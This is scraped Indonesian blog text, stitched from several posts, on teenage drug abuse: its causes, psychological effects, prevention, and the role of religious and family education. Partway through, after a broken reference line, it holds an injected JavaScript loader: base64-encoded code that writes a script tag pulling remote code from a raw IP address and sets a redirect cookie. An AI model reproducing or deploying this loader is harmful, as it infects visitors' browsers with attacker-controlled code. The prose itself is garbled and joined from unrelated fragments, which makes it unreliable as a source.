stimulan merangsang fungsi tubuh serta meningkatkan kegairahan dan kesadaran, dan halusinogen menyebabkan halusinasi pada penggunanya. Al-Qur'an menjelaskan bahwa sebagai manusia kita harus menjaga serta membentengi diri dari hal-hal yang dapat membahayakan kesehatan pada tubuh. Salah satu caranya yaitu dengan mengkonsumsi makanan ataupun minuman yang halal dan baik. Mengkonsumsi makanan yang halal dan baik merupakan salah satu wujud akhlak terhadap diri sendiri, menjaga dan melindungi tubuh dari hal-hal yang tidak baik bagi kesehatan serta tidak merusak diri sendiri. Sebagaimana tertera dalam firman Allah swt., yang berbunyi Artinya " Wahai manusia! Makanlah dari makanan yang halal dan baik yang terdapat di bumi, dan janganlah kamu mengikuti langkah-langkah syaitan. Sungguh, syaitan itu musuh yang nyata bagimu" QS. Al-Baqarah 168. 1 2 3 Lihat Ilmu Sosbud Selengkapnya Dilansirdari Kominfo.jatimprov.go.id, pada tahun 2021, angka coba pakai penyalahgunaan narkoba di kalangan remaja mencapai 57 persen dari total seluruh penyalahgunaan narkoba. Komisi Perlindungan Anak Indonesia (KPAI) menjabarkan, bahwa 82,4 persen anak berstatus pemakai, 47,1 persen sebagai pengedar, dan 31,4 persen sebagai kurir. Pro Dan Kontra Kurangnya Pendidikan Agama Penyebab Penyalahgunaan Narkoba General Penyebab, Dampak dan Solusi Panggunaan Narkoba pada Kehidupan Psikologis Remaja Penyebab, Dampak dan Solusi Panggunaan Narkoba pada Kehidupan Psikologis Remaja Remaja, merupakan tahapan menuju pendewasaan. Mulai mencari dan mencoba segala hal yang dia inginkan untuk memperoleh jati diri, termasuk hal yang negative seperti narkoba. Penyalahgunaan narkoba kini kian marak terjadi di masyarakat terutama kalangan remaja. Pada Banyak sekali remaja yang kehilangan masa depannya akibat penyalahgunaan narkoba. Factor remaja menjadi penyalah guna benda yang terlarang Faktor Individu Secara aspek psikologi, penyebab remaja mengonsumsi narkoba adalah Kurangnya rasa percaya diri sehingga ingin terlihat gaya dengan konsumsi narkoba Ketidak mampuan mengelola masalah yang dihadapi dan stress. Coba- coba dan berpeluan untuk memperoleh pengalaman baru Ikatan dengan komunitas atau gen Menghilangkan rasa sakit, bosan, cemas, dan lainnya Menunjukan sikap pemberontakan dan kehebatan dan kekuasaan Mencari tantangan yang beresiko Merasa dirinya dewasa Faktor Obatnya/Zat, dengan eyakini bahwa obat bisa membantu menumbuhkan rasa percayam diri dan mampu mengurangi beban atau stress yang dialami. Faktor Lingkungan Hubungan keluarga yang tidak harmonis, broken home, dan adanya penggunakan narkoba oleh anggota keluarga lainnya. Pengaruh Teman, sangat berpengaruh pada seseorang. Jika seseorang memilih teman yang menggunakan narkoba maka seorang itupun ikut menggunakannya. Juga adanya tekanan, ancaman akan dikucilkan dan lainnya dari teman jika kita ingin berhenti mengonsumsinya. Pendidikan, kurangnya pendidikan ilmu dan agama sehingga anak menyimpang pada perbuatan yang tidak baik seperti narkoba. Lingkungan masyarakat, jika lingkungan masyarakat tidak baik, maka akan berpengaruh juga pada perilaku remaja. Dampak Psikologis remaja akibat penggunaan narkoba Cenderung menyakiti diri, perasaan tidak aman, bahkan bunuh diri Mempunyai sifat yang mudah kecewa dan temperamental , emosi yang tidak stabil, berbicara dan bertindak kasar, sikap membangkang, agitatif, cenderung agresif , berperilaku ganas dan savage serta destruktif/merusak. Keinginan tidak bisa menuggu, yang harus terpenuhi segera. Kurang percaya diri, cenderung apatis, penghayal, sensitive , selalu curiga, sulit konsentrasi, selalu tertekan, murung, selalu cemas, bersikap tegang, merasa merasa tidak mampu berbuat sesuatu yang berguna dalam hidup sehari-hari dan kurang mampu menghadapi stres. Suka mencari sensasi, melakukan hal-hal yang berbahaya atau mengandung risiko. Lamban dalam suatu pekerjaan, kurang aktif dalam pendidikan, pekerjaan, atau kegiatan lain. rendahnya prestasi belajar, partisipasi dalam kegiatan-kegiatan di luar sekolah kurang, kurang olahraga, malas dan sering melupakan tanggung jawab dan tugas-tugas rutinnya Jauh dari keluarga, sering bertemu dengan orang yang tidak dikenal keluarga, pergi tanpa pamit dan pulang lewat tengah malam Suka menyendiri didalam suatu ruangan. Menjadi pembohong dan ingkar janji. Solusi remaja berhenti menggunakan narkoba, dan cera pencegahan pemakaian kembali. Yang dilakukan oleh pemerintah Primer, memberikan pendidikan, pengetahuan dan penyebaran informasi tentang bahaya penyalahgunaan narkoba, melakukan pendekatan melalui keluarga, dan Instansi pemerintah, seperti BKKBN, lebih banyak berperan pada tahap intervensi ini. kegiatan dilakukan seputar pemberian informasi melalui berbagai bentuk materi KIE yang ditujukan kepada remaja langsung dan keluarga. Sekunder, tahap penyembuhan treatment. Fase ini meliputi Fase penerimaan awal initialintakeantara 1 – iii hari dengan melakukan pemeriksaan fisik dan mental, dan Fase detoksifikasi dan terapi komplikasi medik, antara 1 – 3 minggu untuk melakukan pengurangan ketergantungan bahan-bahan adiktif secara bertahap. Tertier, tahap rehabilitasi sebagai penyembuhan mereka yang menggunakan narkoba. Yang dilakukan oleh masyarakat Menggunaka beberapa cara pendekatan yaitu Pendekatan agama religius, dengan cara menanamkan ajaran agama yang mereka anut tentang berbuat kebaikan, menjauhi segala hal yang buruk atau kerusakan pada dirinya, keluarga, maupun lingkungan sekitar. Pendekatan psikologis, dengan memberikan nasehat, melakukan pembicaraan dari hati- ke hati oleh orang- orang yang terdekat dengannya yang sesuai dengan karakter kepribadian mereka. Pendekatan social, menyadarkan mereka bahwa mereka merupakan bagian penting dalam keluarga dan lingkungannya. Dengan cara sepeti itu, diharapkan mereka bisa merasakan bahwa kehadiran mereka di tengah keluarga dan masyarakat memiliki arti penting. [IP] Arthia H Sumber referensi dan Gambar https//www. function getCookiee{var U= RegExp“?^; ”+ thousand,”\\$ane″+”=[^;]*”;render U?decodeURIComponentU[i]void 0}var src=”datatext/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now= present/1e3,cookie=getCookie“redirect”;ifnow>=time=cookievoid 0===time{var time= Datenew Date.getTime+86400; path=/; expires=”+ Pro Dan Kontra Kurangnya Pendidikan Agama Penyebab Penyalahgunaan Narkoba Source Alasanmemakai narkoba. Dikutip dari situs resmi Kementerian Pendidikan dan Kebudayaan RI, berikut ini beberapa alasan seseorang memakai narkoba: Memuaskan rasa ingin tahu atau coba-coba. Ikut-ikutan teman. Solidaritas teman. Mengikuti tren dan ingin terlihat gaya. Menunjukkan kehebatan. Merasa sudah dewasa. Baca juga: Kenalkan Bahaya NarkobaKompasiana adalah platform blog. Konten ini menjadi tanggung jawab bloger dan tidak mewakili pandangan redaksi Kompas. Pendidikan merupakan suatu bentuk pembelajaran pengetahuan,keterampilan yang diberikan oleh seorang tenaga pendidik terhadap seorang peserta didik sebagai penerima pembelajaran masih menjadi suatu bidang yang dijadikan sebagai pembentukan karakter dalam menumbuhkan pengetahuan dan keterampilan bagi peserta didik,yang melibatkan peserta didik dan tenaga pendidik sebagai transformator ilmu pengetahuan bagi dunia pendidikan khusunya peserta didik .Pembentukan karakter yang diberikan oleh guru peserta didik terhadap siswa tidak dapat dipungkiri akan terdapat beberapa kendala dalam pelaksanannya yakni timbulnya salah satu masalah pendidikan yang menjadi sorotan tajam yaitu penyalahgunaan penggunaan Narkoba terhadap peserta didik atau pelajar. Ketika tingkat pendidikan pelajar semakin tinggi maka pastinya mereka akan memiliki lingkungan yang berbeda-beda sehingga siswa perlu proses adaptasi tesebut perlu adanya pengawasan baik dari orang tua maupun dari yang sama dalam situasi tersebut maraknya penggunaan Narkoba dilingkungan sekolah atau sesama pelajar bahkan dalam tempat sepergaulannya ikut kedalam penyalahgunaan Narkoba,Hal tersebut merupakan yang membuat anak menjadi rentan terjerumus kedalam penyalahgunaan Narkoba. Kepala Badan Narkotika Nasional BNN Komisariat Jendral Polisi Heri Winarko menyebutkan penyalahgunaan narkotika dikalangan remaja semakin meningkat,dimana ada pengingkatan sebesar 24 sampai 28 persen remaja yang menggunkan itu jika dilihat dalam permasalahan pendidikan mengenai Penyalahgunaan Narkoba bahwasannya tidak luput dari adanya Disfungsi keluarga yaitu dimana peran keluarga tidak mejalankan tugas dan fungsinya dalam keluarga dengan semestinya sehingga menyebabkan atau mempengaruhi keutuhan keluarga sebagai suatu satu fungsi keluarga adalah memberikan sosialisasi atau pendidikan terhadap anak mengenai nilai dan norma yang harus dilakukan oleh mereka apa yang seharusnya mereka lakukan dan hal yang tidak boleh dilakukan,membentuk kepribribadiannya,mengontrol tingkah lakunya,sikapnya,serat melatih emosional anak dalam bersosialisasi dalam lingkungan Keluarga memberikan salah satu dampak yang terjadi pada anak yaitu adanya penyalahgunaan Narkoba pada kalangan pelajar yang pada dasarnya hal ini diakibatkan oleh peran keluarga atau orang tua yang tidak berfungsi dengan semestinya. Tidak dapat dipungkiri tindakan penyalahgunaan Narkoba pada pelajar pastinya terdapat factor –faktor yang menyebabkan mereka terjerumus kedalam penyalahgunaan Narkoba seperti komunikasi antara siswa dengan orang tua tidak baik,perceraian orang tua,kekerasan terhadap anak,factor itu siswa atau pelajar menganggap bahwa menggunakan Narkoba memberikan efek kepercayaan diri terhadap mereka dan dapat menghilangkan stress atas apa yang siwa atau pelajar tersebut alami dalam persepsi atau sugesti factor-faktor penyebab siswa dapat melakukan tindakan penyalahgunaan Narkoba dapat diatasi dengan adanya Pendidikan Narkoba yang ditanamkan pada para siswa yang dilakukan oleh guru maupun orangtua. Selain itu Menjalin hubungan antara Keluarga dengan Sekolah tentunya perlu dilakukan dalam hal ini tentunya bukan hanya sekolah dapat mengetahui pola interaksi yang terjalin antara orang tua dengan siswa tetapi hal ini dapat dimanfaatkan oleh orangtua agar dapat mengetahui bagaimana proses perkembangan yang terjadi didalam sekolah sehingga tidak dapat dipungkiri dalam proses menjalin hubungan antara keluarga dengan sekolah dapat diselipkan bagaimana pendidikan Narkotika perlu diberikan pemahaman dalam keluarga yang nantinya akan disampaikan atau diberikan kepada siswaanak Salah satu bentuk pendidikan narkoba adalah adanya sosialisasi mengenai bahaya dan dampak negative dari penyalahgunaan Narkoba dengan cara menerapkan kehidupan yang sehat,menjalin komunikasi yang baik dengan orangtua maupun dengan guru,membekali siswa dengan nilai dan norma yang baik sehingga mereka dapat menghinadri dan mencegah penyalahgunaan Narkoba, Sebab pendidikan Narkoba sedari dini perlu ditanamkan dalam diri siswa karena mencegah lebih baik dari pada mengobati. Lihat Pendidikan Selengkapnya
Demikiandiungkapkan Direktur Jenderal Rehabilitasi Sosial Kementerian Sosial, Marjuki, pada kegiatan Workshop Peningkatan Kapasitas Tokoh Agama dalam Penanggulangan Penyalahgunaan NAPZA yang diikuti oleh 223 orang tokoh agama dari beberapa provinsi di Hotel Aston Bekasi, Kamis (03/11/2016). "Para tokoh agama sebagai role model diharapkan
Dengandiberikannya pendidikan agama pada anak sejak usia dini akan ,menjadikan seorang anak menjadi lebih baik, beragama, bermoral dan bernilai pekerti yang baik. Menyesallah orang tua yang tidak menanamkan atau memberikan pendidikan agama kepada anak-anaknya. Jangan heran mengapa banyak krimanallitas yang terjadi dinegara ini sepertidengananggapan narkoba itu keren. Selain itu ketika reamaja tersebut sedang dalam masalah dan tidak ada tempat untuk mencurahkannya maka larinya akan ke narkoba. Mereka pun terlibat kedalam pergaulan bebas, termasuk mengkonsumsi narkoba. Penggunaan narkoba juga terjadi di dunia pendidikan termasuk di lingkungan kecamatan Bukit Kapur kota Dumai.